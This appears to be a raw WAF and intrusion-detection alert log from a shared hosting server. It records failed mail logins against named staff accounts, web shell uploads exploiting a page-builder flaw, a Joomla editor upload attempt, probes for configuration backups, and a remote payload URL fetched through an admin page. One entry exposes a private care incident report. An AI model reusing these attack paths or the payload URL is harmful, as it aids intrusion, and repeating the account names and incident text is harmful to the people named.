2026-07-14 05:36:09 dovecot_login authenticator failed for H=vps-1f598509.vps.ovh.net (dsl-hkibng42-50dfc0-112.dhcp.inet.fi) [213.32.17.8]:49808: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.150.87.223
country_id: 1522867
description:
2026-07-14 05:36:43 dovecot_login authenticator failed for H=37.150.87.223.dynamic.telecom.kz (92-62-74-41.saimanet.kg) [37.150.87.223]:53149: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.232.53.79
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://lovealba.co.kr/\">\xed\x85\x90\xed\x94\x84\xeb\xa1\x9c\xec\x95\x8c\xeb\xb0\x94</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://verraquina.es/wikiv/index.php?title=H%E1%BA%A1t_gi%E1%BB%91ng_c%C3%A0_ph%C3%AA_%E2%80%93_Y%E1%BA%BFu_t%E1%BB%91_quy%E1%BA%BFt_%C4%91%E1%BB%8Bnh_sinh_tr%C6%B0%E1%BB%9Fng_c%E1%BB%A7a_v%C6%B0%E1%BB%9Dn_c%C3%A0_ph%C3%AA\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-14 05:45:16 dovecot_login authenticator failed for H=([49.124.152.208]) [205.250.25.62]:55894: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-14 05:45:17 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [196.190.180.18]:50358: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-14 05:45:32 dovecot_login authenticator failed for H=([182.95.26.40]) [182.95.116.66]:52306: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-14 05:45:38 dovecot_login authenticator failed for H=([111.175.39.76]) [182.95.181.166]:51706: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-14 05:45:43 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [182.95.228.106]:60162: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-14 05:46:03 dovecot_login authenticator failed for H=([49.124.152.254]) [103.187.78.189]:38982: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-14 05:46:09 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [172.191.74.151]:33700: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.119.17.213
country_id: 1819730
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783988181540.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.119.17.213
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783988192335.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.119.17.213
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783988191688.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.119.17.213
country_id: 1819730
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783988193862.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.185.215.14
country_id: 130758
description:
2026-07-14 05:47:17 dovecot_login authenticator failed for H=([61.178.82.215]) [2.185.215.14]:48851: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-14 05:51:16 dovecot_login authenticator failed for H=([222.186.68.153]) [59.12.212.38]:38904: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-14 05:50:53 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [129.45.84.119]:36894: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-14 05:52:35 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com (nsg-corporate-250.230.187.122.airtel.in) [35.130.111.98]:47711: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-14 05:52:54 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net (201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [67.85.146.216]:45455: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-14 05:53:18 dovecot_login authenticator failed for H=(95-165-84-70.dynamic.spd-mgts.ru) [152.52.192.162]:40446: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-14 05:53:33 dovecot_login authenticator failed for H=([31.171.125.179]) [191.44.113.143]:36962: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.208.173.197
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74993.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8245c5ba36274bc41ce2321f093f00b4ae715102||Title:0x409aca0e||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-14 05:55:18 dovecot_login authenticator failed for H=([192.252.216.83]) [94.16.17.141]:46682: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.77.244.139
country_id: 6252001
description:
2026-07-14 05:55:36 dovecot_login authenticator failed for H=([219.248.4.146]) [64.77.244.139]:37274: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-14 05:55:38 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([222.104.95.91]) [80.223.190.179]:58654: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/pbrknzda/fonts/buioyezt.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.10.78.129
country_id: 1643084
description:
2026-07-14 05:57:43 dovecot_plain authenticator failed for H=(localhost) [114.10.78.129]:62877: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 188.119.13.22
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/0xFlamy/-/refs/heads/main/Config/template.zip||User:metrodigitals||SC:/home/metrodigitals/public_html/administrator/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-14 06:01:51 dovecot_login authenticator failed for H=([213.234.9.218]) [128.134.83.141]:45494: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-14 06:02:11 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([102.210.149.95]) [80.223.198.246]:33318: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 154.111.3.82
country_id: 2464461
domain: cochinbigbandshow.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.28||T:APACHE||MV:configuration.php~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.111.3.82
country_id: 2464461
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.php.bak||User:ddgalaxy||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.111.3.82
country_id: 2464461
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.php.bak||User:ibmcglobal||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.111.3.82
country_id: 2464461
domain: cochinbigbandshow.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.php.bak||User:cochinbigbandsho||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-14 06:06:51 dovecot_login authenticator failed for H=([200.187.130.246]) [102.210.148.41]:44648: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.239
country_id: 99237
description:
2026-07-14 06:09:16 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [65.20.149.239]:46744: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-14 06:09:58 dovecot_login authenticator failed for H=([179.125.104.245]) [207.254.40.89]:51537: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-14 06:10:01 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [45.82.110.150]:59140: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.127.171.12
country_id: 1694008
description:
2026-07-14 06:10:44 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [222.127.171.12]:52365: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-14 06:17:49 dovecot_login authenticator failed for H=([49.124.151.12]) [128.185.220.90]:52024: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-14 06:18:29 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [182.95.122.110]:36468: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-14 06:28:00 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([222.104.95.91]) [79.138.90.195]:39424: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.95.23.226
country_id: 1835841
description:
2026-07-14 06:28:16 dovecot_login authenticator failed for H=([220.86.176.134]) [115.95.23.226]:48469: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 74.119.147.209
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://livedrawsydney6d.net/prediksi-arkansas-evening-sabtu-16-november-2024/\">Sydney Pools</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-14 06:32:30 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-14 06:36:04 dovecot_login authenticator failed for H=([117.173.101.132]) [119.192.249.195]:40308: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-14 06:36:08 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([61.169.6.99]) [34.41.211.48]:49334: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-14 06:36:18 dovecot_login authenticator failed for H=([5.76.16.216]) [114.202.80.152]:49101: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-14 06:35:47 dovecot_login authenticator failed for H=([14.116.172.42]) [71.12.42.216]:35106: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-14 06:36:30 dovecot_login authenticator failed for H=([202.138.229.190]) [144.24.209.174]:61707: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-14 06:38:05 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([195.158.26.59]) [80.223.198.246]:48296: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-14 06:38:07 dovecot_login authenticator failed for H=(181-212-174-164.baf.movistar.cl) [122.160.142.194]:39944: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-14 06:38:13 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([101.13.4.119]) [193.180.125.157]:44272: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-14 06:38:28 dovecot_login authenticator failed for H=([120.224.15.67]) [85.105.255.56]:49468: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.8.108.131
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap884.xml HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-14 06:40:06 dovecot_login authenticator failed for H=([49.124.151.70]) [65.20.163.103]:38032: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783991458856.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-14 06:40:28 dovecot_login authenticator failed for H=([218.21.241.50]) [65.20.191.231]:42360: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 152.53.193.182
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s454723.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-14 06:48:34 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (host241.sub-63-42-190.myvzw.com) [65.73.230.102]:60112: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-14 06:49:00 dovecot_login authenticator failed for H=([104.37.132.51]) [125.19.158.2]:40088: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.143
country_id: 1835841
description:
2026-07-14 06:49:15 dovecot_login authenticator failed for H=(111-70-19-64.emome-ip.hinet.net) [121.131.220.143]:45417: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-14 06:49:46 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([121.167.89.157]) [85.29.246.199]:49685: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-14 06:50:03 dovecot_login authenticator failed for H=(85.105.255.56.static.ttnet.com.tr) [196.189.59.226]:43649: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.238.137.2
country_id: 1562822
description:
2026-07-14 06:49:42 dovecot_login authenticator failed for H=([60.214.127.246]) [14.238.137.2]:36240: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-14 06:50:40 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([117.216.33.31]) [89.67.39.124]:56343: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-14 06:51:14 dovecot_login authenticator failed for H=([49.124.148.197]) [82.16.221.216]:36834: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-14 06:55:21 dovecot_login authenticator failed for H=([196.188.187.85]) [128.185.33.227]:34932: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-14 06:55:41 dovecot_login authenticator failed for H=([218.13.214.18]) [41.215.146.195]:63772: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.159.134
country_id: 2635167
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-14 07:00:54 dovecot_login authenticator failed for H=([49.124.153.27]) [182.72.102.106]:39914: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.193.249.210
country_id: 1835841
description:
2026-07-14 07:01:14 dovecot_login authenticator failed for H=([144.22.210.132]) [211.193.249.210]:39695: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-14 07:01:54 dovecot_login authenticator failed for H=([14.54.35.193]) [207.188.158.216]:22246: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.84.37.219
country_id: 3923057
description:
2026-07-14 07:02:06 dovecot_login authenticator failed for H=([176.109.10.49]) [138.84.37.219]:59813: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-14 07:02:12 dovecot_login authenticator failed for H=([218.21.246.238]) [220.118.190.204]:53701: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-14 07:02:26 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([36.92.196.106]) [155.4.31.215]:39876: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77211080
name: IM360 WAF: HTTP Response Splitting Attack
abuser: 2406:6d00:ffb:1200:154a:3c11:4473:bc2b
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: HTTP Response Splitting Attack||MV:date of incident:13/07/2026\r\ntime of incident:1820hrs\r\nlocation:lounge room\r\n\r\nparticipants involved:\r\nparticipant 1: evan  \r\nparticipant 2:gio\r\n\r\nwhile i was supporting participants to complete house cleaning, i was informed that evan had poked gio in the eye. this occurred when evan became upset over gio holding evan's kiwi box and cards fell down from evans hand\r\n\r\nstaff responded immediately. the situation was assessed and evan was quickly redirected to a safe area and staff tried to de escalate the situation.\r\n\r\ngio\xe2\x80\x99s eye was assessed. the eye appeared to have minor redishness . gio was reassured, comforted, and monitored closely for any signs of pain, discomfort, swelling, or changes to vision.\r\n\r\nno first aid was required. gio remained calm and continued to be monitored.\r\n\r\nactions taken:\r\n1. immediate assessment of both evan and gio\r\n2. evan was redirected and provided support to regulate when upset\r\n3. gio\xe2\x80\x99s eye was checked, reassured, and placed under close observation\r\n4. house cleaning activity was continued with increased supervision\r\n6. incident documented  \r\n\r\nfollow up required:\r\n- continue to monitor gio\xe2\x80\x99s eye for redness, swelling, pain, or vision changes.||MVN:ARGS:vfedit10incident-description||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.155.66.20
country_id: 163843
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:71911.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c328b7a3450a8751c9adb1b63052c8ff8e010b6a||Title:0xbe235472||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.155.66.20
country_id: 163843
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30782.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:481dce5449c1c179bdea93970fad754d077b80de||Title:0xb62fb6ac||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-14 07:08:09 dovecot_login authenticator failed for H=([218.13.214.18]) [41.215.146.195]:37861: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.135.138.242
country_id: 3077311
description:
2026-07-14 07:08:43 dovecot_login authenticator failed for H=cst-prg-138-242.cust.vodafone.cz (broadband-95-84-137-185.ip.moscow.rt.ru) [46.135.138.242]:54651: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-14 07:08:22 dovecot_login authenticator failed for H=([61.111.255.216]) [206.62.136.130]:48019: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-14 07:15:27 dovecot_login authenticator failed for H=(hpot-141-39-221-152.rdns.hnet.measurement.network) [65.20.141.202]:51839: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.192
country_id: 2287781
description:
2026-07-14 07:15:53 dovecot_login authenticator failed for H=([183.104.220.152]) [160.154.84.192]:19054: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-14 07:17:09 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([111.35.36.49]) [83.226.56.106]:53674: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-14 07:17:45 dovecot_login authenticator failed for H=(95-165-84-70.dynamic.spd-mgts.ru) [121.202.206.119]:55134: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-14 07:17:27 dovecot_login authenticator failed for H=([180.94.75.42]) [171.244.60.35]:5119: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-14 07:18:55 dovecot_login authenticator failed for H=([49.124.152.254]) [182.95.181.50]:35396: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-14 07:19:13 dovecot_login authenticator failed for H=([213.55.79.199]) [193.31.200.85]:39042: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-14 07:18:20 dovecot_login authenticator failed for H=([58.222.72.182]) [193.46.192.20]:36281: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-14 07:18:37 dovecot_login authenticator failed for H=(48.211.41.34.bc.googleusercontent.com) [171.244.60.35]:50206: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-14 07:19:48 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net (static.vnpt.vn) [51.68.226.171]:46142: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.93.126
country_id: 2635167
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/?format=json HTTP/1.1||RSV:8.28||T:APACHE||


